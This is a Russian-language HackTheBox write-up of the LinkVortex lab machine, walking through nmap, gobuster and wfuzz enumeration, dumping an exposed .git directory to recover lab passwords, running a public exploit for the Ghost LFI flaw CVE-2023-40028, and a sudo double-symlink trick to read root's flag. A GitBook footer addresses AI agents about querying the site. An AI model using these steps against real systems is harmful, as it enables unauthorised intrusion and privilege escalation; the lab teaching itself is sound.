> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# Разбор LinkVortex на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление поддоменов
* Извлечение информации из каталога .git (Git-Dumper)
* Утечка информации
* Эксплуатация LFI (Ghost)
* Злоупотребление привилегиями Sudo через скрипт (двойная символическая ссылка)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/b2ad23fa70e0bc67ab9315adac960fb373ab1084" alt=""><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/060468a233fe91e03e92c70ce8296c2d9bf1aa19" alt=""><figcaption></figcaption></figure>

**Настройка файла /etc/hosts**

Мы добавляем IP-адрес цели в наш `/etc/hosts` файл, чтобы упростить локальное разрешение DNS-имен.

<figure><img src="/files/f4c6d68f5cf2f37b770bd26679a77571cb9b575d" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="/files/e6a040495e376625e7f2c79baf51d2e66363c4d2" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (22.80)

<figure><img src="/files/6be47cf564cae568fefceeda58ce5b06a4f3652b" alt=""><figcaption></figcaption></figure>

### **Порт 80**

<figure><img src="/files/09ff29cb03a3501c5b68242e4035bff9e5620415" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="/files/6837717e81e01f71a9c523c79116e815cf333c98" alt=""><figcaption></figcaption></figure>

### **Перечисление каталогов**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="/files/7e7331632cd36df5132ae4f63dd84834e26342e3" alt=""><figcaption></figcaption></figure>

### Админ-панель Ghost

<figure><img src="/files/924bb9af6c66118b85bb5bbc96b645bae9f6ad08" alt=""><figcaption></figcaption></figure>

### **Обнаружение поддомена**

Мы ищем поддомены, связанные с `linkvortex.htb` с помощью gobuster.

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Мы обнаруживаем поддомен `dev.linkvortex.htb`. Вот команда для выполнения этого поиска:

<figure><img src="/files/5d87a44a9ab62a1f941de0db17613e2ddf61c802" alt=""><figcaption></figcaption></figure>

После того как поддомен найден, мы добавляем его в `/etc/hosts` файл для удобного доступа:

<figure><img src="/files/007d219e0095aa91ff9252318149ce8967ae1ec7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0561132b5f9f625bb71e3206f1a94e3c0d4eef7d" alt=""><figcaption></figcaption></figure>

#### **Поиск каталогов в новом поддомене**

Мы ищем существующие каталоги на `dev.linkvortex.htb` поддомене с помощью `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

Мы обнаруживаем `.git` каталог, что может указывать на открытый репозиторий Git.

<figure><img src="/files/5bf827e9b9790297b27a32e64a8e7e286315e6c0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f47dacbe63e2bdf19cae87b5783f0db6567414b0" alt=""><figcaption></figcaption></figure>

### **Извлечение файлов с помощью Git-Dumper**

Мы используем `git-dumper` инструмент, чтобы извлечь файлы из `.git` каталога и проанализировать их:

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="/files/3a3a8d9deb1f93736e81a1f54a89c77fbaa42ba7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8add831688649b8f1c72784e5f559ee28501fe10" alt=""><figcaption></figcaption></figure>

Это позволяет нам получить конфиденциальные файлы, включая тестовый файл, расположенный в `ghost/core/test/regression/api/admin/authentication.test.js`, где мы находим пароль:

<figure><img src="/files/59040a46bf9c1350cca415fadfb49e602a625033" alt=""><figcaption></figcaption></figure>

**Найден пароль:**

```parser
OctopiFociPilfer45
```

<figure><img src="/files/5be7380e4efdc013f11ca383ad14f5ba723a68a7" alt=""><figcaption></figcaption></figure>

### **Вход в админ-панель Ghost**

С этим паролем мы пытаемся подключиться к панели администратора Ghost, используя `адрес электронной почты admin@linkvortex.htb` адрес электронной почты:

* **Эл. почта** : `адрес электронной почты admin@linkvortex.htb`
* **Пароль**: `OctopiFociPilfer45`

<figure><img src="/files/ffe536ad4734671c61d746b81ae4227b311c402a" alt=""><figcaption></figcaption></figure>

## Уязвимость Ghost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="/files/02f7cc7b7b518a4f6ac5eb40703087c2e44c0194" alt=""><figcaption></figcaption></figure>

> Во время сканирования портов мы определили, что используемая версия Ghost (v5.58) уязвима к LFI (Local File Inclusion), идентифицированной как CVE-2023-40028. Чтобы эксплуатировать эту уязвимость, мы загружаем скрипт эксплойта и изменяем целевой URL так, чтобы он указывал на наш экземпляр Ghost.

<figure><img src="/files/8b2fa1d1e51649e19c19b59728461ee235bf98be" alt=""><figcaption></figcaption></figure>

Вот команда для запуска эксплойта:

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

Затем мы получаем shell и можем просматривать файлы, например `/etc/passwd`.

<figure><img src="/files/8737ee0c61e2122f97f36112128653a8b61e07be" alt=""><figcaption></figcaption></figure>

**Доступ к внутреннему маршруту через LFI**

В `.git` каталоге мы заметили Docker-файл, который предоставляет нам внутренний маршрут для доступа к сессии: `/var/lib/ghost/config.production.json`.

<figure><img src="/files/80fcf61a6e077170914f447c91a919f8b5e06f4d" alt=""><figcaption></figcaption></figure>

Мы используем LFI, чтобы перечислить файлы и найти учетные данные пользователя по имени Bob:

<figure><img src="/files/ab58731f5c61a335f2b59172325e922da5877b3f" alt=""><figcaption></figcaption></figure>

**Учетные данные Bob:**

* **Пользователь**: `bob@linkvortex.htb`
* **Пароль**: `fibber-talented-worth`

Мы подключаемся к целевой машине по SSH, используя учетные данные Bob:

### Флаг user.txt :)

Мы используем пароль `fibber-talented-worth` для входа и доступа к файлу `user.txt`, где находим флаг.

<figure><img src="/files/a094128bd2fb87c97b1ca00bbdddc5ee4c08d541" alt=""><figcaption></figcaption></figure>

## Флаг root.txt :)

### SUDO - Clean/\_synLink.sh

Мы ищем уязвимость, позволяющую повысить привилегии. Мы обнаруживаем файл с правами SUID.

<figure><img src="/files/f955c99bfb3e540eb09117b6123ef0033de67724" alt=""><figcaption></figcaption></figure>

#### **Анализ скрипта очистки символических ссылок**

> Мы анализируем скрипт под названием `clean_symlink.sh`, который проверяет, является ли файл, переданный в качестве аргумента, символической ссылкой, указывающей на `.png` файл. Если символическая ссылка указывает на критический файл, скрипт удаляет её. В противном случае он перемещает символическую ссылку в `/var/quarantined/` каталог. Если `CHECK_CONTENT` переменная окружения установлена в `true`, скрипт пытается прочитать содержимое файла.

Вот команда для создания символических ссылок, необходимых для эксплуатации:

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

Затем мы запускаем скрипт следующей командой, чтобы получить root-флаг:

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

Таким образом мы получаем `root.txt` флаг.

<figure><img src="/files/96f09258ac13ecd30b9b72fcb5c60caf484e1d2a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/822cee71a6d86c6d67bbfe3de7e13c9c78f069ea" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
